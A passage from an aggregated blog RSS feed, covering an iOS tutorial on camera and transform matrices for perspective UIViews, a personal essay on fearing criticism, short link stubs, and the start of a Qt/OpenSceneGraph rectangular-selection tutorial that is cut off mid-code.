&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readwrite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;eyeX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;eyeY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;eyeZ&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readwrite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;centerX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;centerY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;centerZ&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readwrite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;upX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;upY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;upZ&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/* Read by Transform object */&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readonly&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;projectionMatrix&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readonly&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;viewMatrix&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s look at each of these items one by one:&lt;/p&gt;

&lt;p&gt;1. &lt;strong&gt;Field of view&lt;/strong&gt;: Controls the area you want to capture. The wider the angle, the more area you capture. But at the cost of greater distortion. The &lt;a href="http://en.wikipedia.org/wiki/Fisheye_lens"&gt;fish eye lens&lt;/a&gt; has a very wide fov.&lt;/p&gt;

&lt;p&gt;2. &lt;strong&gt;Aspect ratio&lt;/strong&gt;: Controls the aspect ratio of the image captured. A value of &lt;code class="language-plaintext highlighter-rouge"&gt;1&lt;/code&gt; means the captured image will be distorted to fit within a square. You typically want this to be the actual ratio you wish to capture.&lt;/p&gt;

&lt;p&gt;3. &lt;strong&gt;nearZ, farZ&lt;/strong&gt;: The clip planes. Anything farther than &lt;code class="language-plaintext highlighter-rouge"&gt;farZ&lt;/code&gt; or nearer than &lt;code class="language-plaintext highlighter-rouge"&gt;nearZ&lt;/code&gt; doesn’t gets included in the final image. You don’t want the &lt;code class="language-plaintext highlighter-rouge"&gt;farZ&lt;/code&gt; to be too far, as it brings in more floating-point errors. So if set the &lt;code class="language-plaintext highlighter-rouge"&gt;farZ&lt;/code&gt; to &lt;code class="language-plaintext highlighter-rouge"&gt;1,000,000&lt;/code&gt; and you’ve two objects placed at &lt;code class="language-plaintext highlighter-rouge"&gt;z&lt;/code&gt; &lt;code class="language-plaintext highlighter-rouge"&gt;10&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;12&lt;/code&gt;. The one at &lt;code class="language-plaintext highlighter-rouge"&gt;12&lt;/code&gt; might overlap the one at &lt;code class="language-plaintext highlighter-rouge"&gt;10&lt;/code&gt;, even though it is farther down the z axis. Typically a value of &lt;code class="language-plaintext highlighter-rouge"&gt;0.1&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;100&lt;/code&gt; is good enough for &lt;code class="language-plaintext highlighter-rouge"&gt;nearZ&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;farZ&lt;/code&gt; respectively.&lt;/p&gt;

&lt;p&gt;4. &lt;strong&gt;center&lt;/strong&gt;: This is where the camera is placed at. Default value is origin.&lt;/p&gt;

&lt;p&gt;5. &lt;strong&gt;up&lt;/strong&gt;: Tells what side is considered as up. Default value if &lt;code class="language-plaintext highlighter-rouge"&gt;(0,1,0)&lt;/code&gt;, that is up is along the y axis.&lt;/p&gt;

&lt;p&gt;6. &lt;strong&gt;eye&lt;/strong&gt;: This is the direction you’re pointing at. Actually the final direction is calculated using the up and center values as well.&lt;/p&gt;

&lt;p&gt;Since the &lt;code class="language-plaintext highlighter-rouge"&gt;Camera&lt;/code&gt; class controls two independent things, we can have separate matrices for each one of those. The role of a matrix is just to transform points from one coordinate system to another. A matrix simply defines a coordinate system. So, if you have a 4×4 matrix and you multiply it with a 4D vector you get a 4D vector in the transformed coordinate space.&lt;/p&gt;

&lt;p&gt;For our &lt;code class="language-plaintext highlighter-rouge"&gt;Camera&lt;/code&gt; class, we just keep track of two coordinate systems&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;updateProjection&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;projectionMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4MakePerspective&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKMathDegreesToRadians&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_fov&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;_aspectRatio&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;_nearZ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_farZ&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;updateView&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;viewMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4MakeLookAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;_eyeX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_eyeY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_eyeZ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;_centerX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_centerY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_centerZ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;_upX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_upY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_upZ&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Whenever any of these values get updated, we simply update the related matrix.&lt;/p&gt;

&lt;p&gt;Now let’s focus on the &lt;code class="language-plaintext highlighter-rouge"&gt;Transform&lt;/code&gt; class.&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;Transform&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;initWithCamera&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;Camera&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;camera&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readwrite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;positionX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;positionY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;positionZ&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readwrite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;rotationX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rotationY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rotationZ&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readwrite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;scaleX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;scaleY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;scaleZ&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readwrite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readonly&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;CATransform3D&lt;/span&gt; &lt;span class="n"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This class is pretty straightforward. It just describes the transformations to be applied the object. The only thing that could be misunderstood is rotation. Rotation doesn’t describes the angle, it describes the axis. For angle we’ve another property. The final rotation is calculated from both rotation and angle.&lt;/p&gt;

&lt;p&gt;Why do we need the &lt;code class="language-plaintext highlighter-rouge"&gt;Camera&lt;/code&gt; object? It’s because the final image is calculated after considering the camera object. Think of you shooting a frog leaping. The final captured motion depends on both the leap of the frog and the motion of your camera.&lt;/p&gt;

&lt;p&gt;With that setup, lets see what can we build now. With a little experiment on the &lt;code class="language-plaintext highlighter-rouge"&gt;fov&lt;/code&gt;, camera’s eyeZ and the transform angle.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;applyPerspective&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// config camera&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;contentCam&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Camera&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;Camera&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;contentCam&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fov&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="n"&gt;contentCam&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;aspectRatio&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;Float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;UIScreen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="kt"&gt;UIScreen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;contentCam&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eyeZ&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;

    &lt;span class="c1"&gt;// config content transform&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;contentTransform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Transform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;camera&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;contentCam&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rotationX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rotationY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rotationZ&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;angle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;

    &lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sublayerTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;transform&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I was able to get this.&lt;/p&gt;

&lt;p&gt;&lt;img alt="img" src="https://whackylabs.com/assets/2014-10-30-add-some-perspective-to-your-uiviews/6.png" /&gt;&lt;/p&gt;

&lt;p&gt;Now, for your experimentation, you can test that when we update the &lt;code class="language-plaintext highlighter-rouge"&gt;fov&lt;/code&gt; how distorted the image gets. Also updating the &lt;code class="language-plaintext highlighter-rouge"&gt;eyeZ&lt;/code&gt; of camera actually zooms in and out the content. Next you can also experiment with different transform angles and axes.&lt;/p&gt;

&lt;p&gt;There’s a whole lot of things I’ve skipped in the implementation of the &lt;code class="language-plaintext highlighter-rouge"&gt;Camera&lt;/code&gt; and the &lt;code class="language-plaintext highlighter-rouge"&gt;Transform&lt;/code&gt; class. It’s more about why things work the way they work. In particular the insides of&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;GLKMatrix4MakeLookAt()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;GLKMatrix4MakePerspective()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;GLKMatrix4MakeTranslation()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;GLKMatrix4Rotate()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;GLKMatrix4Multiply()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;and much more&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are some of the most important functions where the real linear algebra magic is. But, I thought this is more like low level stuff and deserves a rant of its own. In the follow-up I’ll dive deeper in to these function and much more on linear algebra.&lt;/p&gt;

&lt;p&gt;The code for this article is available at &lt;a href="https://github.com/chunkyguy/DemoPerspectiveView"&gt;https://github.com/chunkyguy/DemoPerspectiveView&lt;/a&gt;&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Wed, 29 Oct 2014 21:49:00 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/uikit/ios/2014/10/29/add-some-perspective-to-your-uiviews/</guid></item><item><title>[10.29.14] The Flying Nimbus: Balancing Skateboard</title><link>https://transistor-man.com/flying_nimbus.html</link><description>What does a recycled (heavily used) go kart tire, an action-packed three-phase servo drive and a gyro/accelerometer have in common? A Balancing Skateboard Contraption.</description><author>transistor-man.com</author><pubDate>Wed, 29 Oct 2014 10:38:38 GMT</pubDate><guid isPermaLink="true">https://transistor-man.com/flying_nimbus.html</guid></item><item><title>Do Not Work in Isolation</title><link>https://josh.works/growth/2014/10/29/do-not-work-in-isolation/</link><description>&lt;p&gt;I fear criticism. I don’t have nightmares about it, and I’m not (too) crippled by a desire to avoid it, but I absolutely don’t like criticism, or being disappointing, or any of those things.
If my ego were making all decisions, I would move even slower than I do today into “new” territory. I probably wouldn’t read much, or try new things, or meet people. I’d play a lot of video games. (Actually… it’s embarrassing to be pwnd by 13 year old boys when playing online - maybe I’ve left video games to protect my ego.)&lt;/p&gt;

&lt;p&gt;I go to great, sneaky lengths to avoid criticism. I’ll even do things like this (talk about fearing criticism) to avoid doing other things 
that will expose me to criticism and rejection. Seriously. I’m avoiding criticism right now by writing this.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;If you are not embarrassed by the first version of your product, you’ve launched too late.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;more&lt;/p&gt;

&lt;p&gt;Reid Hoffman said that. He built LinkedIn. Regardless of how much you dislike LinkedIn, it’s an impressive accomplishment.&lt;/p&gt;

&lt;p&gt;To this end, I’m working on a small project over at www.belaybetter.com. The task I am avoiding right now is reaching out through my network to get in touch with people I’ve never met, to talk to them about lead climbing, falling, and fear. This would be my second “pilot group” to discuss the material with. This will also be the first group that I don’t personally know.&lt;/p&gt;

&lt;p&gt;My biggest fear is that I’ll reach out and no one will write back. I fear rejection. It’s easier to “work” on this project in isolation. It’s not scary to do that. But I know getting feedback from real people (silence is feedback) is far, far more helpful to me right now than additional isolated work. (If you lead climb, I’d love to talk to you - shoot me an email (joshthompson@hey.com) or 
&lt;a href="https://twitter.com/josh-works"&gt;tweet at me&lt;/a&gt; or something.)&lt;/p&gt;

&lt;p&gt;Every time I’ve ever reached out to anyone to get help on a given project, it’s been intimidating, scary, and 100x more helpful than any other single action I could have taken. (Side note - the best money you can ever spend is to treat a wise old(er) person to coffee/lunch/dinner to pick their brain about what they’ve done. Do they have a good marriage? Ask about it. Are they accomplished at work? Ask why. Do they have skills? Ask how they built them. Do they seem to enjoy life? Ask about it.)&lt;/p&gt;

&lt;p&gt;I guess I should stop avoiding criticism now…&lt;/p&gt;

&lt;p&gt;-Josh&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 29 Oct 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2014/10/29/do-not-work-in-isolation/</guid></item><item><title>Thank You, Freedom. Signed, Ebola.</title><link>https://zacs.site/blog/thank-you-freedom-signed-ebola.html</link><description>&lt;p&gt;Yesterday afternoon I decided to make a concerted effort to stay abreast of world events going forward. Especially given the continued spread of Ebola across America, I could no longer focus solely on happenings within the tech industry as I have for the past two or three years. No sooner had I made this decision, though, than I came across a ponderous and subsequently maddening article over at NBC News titled &lt;a href="http://www.nbcnews.com/storyline/ebola-virus-outbreak/new-jersey-releases-nurse-quarantined-suspected-ebola-n234661"&gt;&amp;#8220;New Jersey Releases Nurse Quarantined for Suspected Ebola&amp;#8221;&lt;/a&gt;.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/thank-you-freedom-signed-ebola.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 28 Oct 2014 14:10:59 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/thank-you-freedom-signed-ebola.html</guid></item><item><title>1Q84 (1Q84, #1-3)</title><link>https://olshansky.info/book/1q84_1q84_1_3/</link><description>Olshansky's review of 1Q84 (1Q84, #1-3) by Haruki Murakami</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 28 Oct 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/1q84_1q84_1_3/</guid></item><item><title>Rectangular selections with Qt and OpenSceneGraph</title><link>https://bastian.rieck.me/blog/2014/selections_qt_osg/</link><description>&lt;p&gt;In a &lt;a href="https://bastian.rieck.me/blog/2014/qt_and_openscenegraph/"&gt;previous post on this topic&lt;/a&gt;, I already talked about
how to integrate Qt and OpenSceneGraph in a thread-safe manner. In the following post, I will
briefly explain how to select objects in a 3D scene using a rectangular selection area. I want to
achieve the following: The user shall be able to draw a rectangle on top of the 3D scene content
that is shown in a viewer widget. All drawables that are intersected by said rectangle shall be
collected for further processing. Sounds rather easy—and it even will turn out to be, thanks
to Qt and &lt;code&gt;osgUtil&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The following code snippets refer to the &lt;a href="http://github.com/Pseudomanifold/QtOSG"&gt;&lt;code&gt;QtOSG&lt;/code&gt; project&lt;/a&gt; which was
developed in the previously-referenced post. The code is still released under the &lt;a href="https://en.wikipedia.org/wiki/MIT_License"&gt;&amp;ldquo;MIT Licence&amp;rdquo;&lt;/a&gt;
and you are still most welcome to use it.&lt;/p&gt;
&lt;h1 id="why-osgmanipulator-is-not-the-solution"&gt;Why &lt;code&gt;osgManipulator&lt;/code&gt; is &lt;em&gt;not&lt;/em&gt; the solution&lt;/h1&gt;
&lt;p&gt;If you peruse the documentation of OpenSceneGraph, you might stumble over the &lt;code&gt;osgManipulator&lt;/code&gt;
library. Initially, I considered it to potentially solve this problem. After some fiddling with it,
I can say that this is &lt;em&gt;patently&lt;/em&gt; not the truth. &lt;code&gt;osgManipulator&lt;/code&gt; seems to be &lt;a href="http://lists.openscenegraph.org/pipermail/osg-users-openscenegraph.org/2011-May/051455.html"&gt;unmaintained at the
moment&lt;/a&gt;,
and the developers of OpenSceneGraph seem to struggle with it themselves.&lt;/p&gt;
&lt;p&gt;Besides, &lt;code&gt;osgManipulator&lt;/code&gt; is meant to offer a way for manipulating objects within a scene, by
placing a selector in said scene. I merely want to draw a rectangular area and find intersections.&lt;/p&gt;
&lt;h1 id="qpainter-to-the-rescue"&gt;&lt;code&gt;QPainter&lt;/code&gt; to the rescue&lt;/h1&gt;
&lt;p&gt;It then occurred to me that I do not have to draw &lt;em&gt;anything&lt;/em&gt; into the existing scene. It will be
perfectly sufficient if the rectangle is drawn by Qt. I only need to extract its coordinates to
calculate intersections (by projecting the rectangle into scene coordinates). I envisioned the
following process for performing a selection:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Upon a &lt;code&gt;mousePressEvent()&lt;/code&gt;, the mouse position (in window coordinates) is stored as the start and
end point of the rectangle&lt;/li&gt;
&lt;li&gt;During each &lt;code&gt;mouseMoveEvent()&lt;/code&gt;, as long as the selection is active (i.e. the left mouse button is
being pressed), the current mouse position is used as the end point of the rectangle&lt;/li&gt;
&lt;li&gt;Upon the final &lt;code&gt;mouseReleaseEvent()&lt;/code&gt;, the selection rectangle is projected into the scene and
intersections with all visible objects are calculated (see below)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The rectangle itself is painted during the &lt;code&gt;paintEvent()&lt;/code&gt; of the OSG widget. Assuming that we
already stored and updated the coordinates during the events described above, we have the following
drawing code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;OSGWidget&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;paintEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;QPaintEvent&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="cm"&gt;/* paintEvent */&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;QPainter&lt;/span&gt; &lt;span class="nf"&gt;painter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
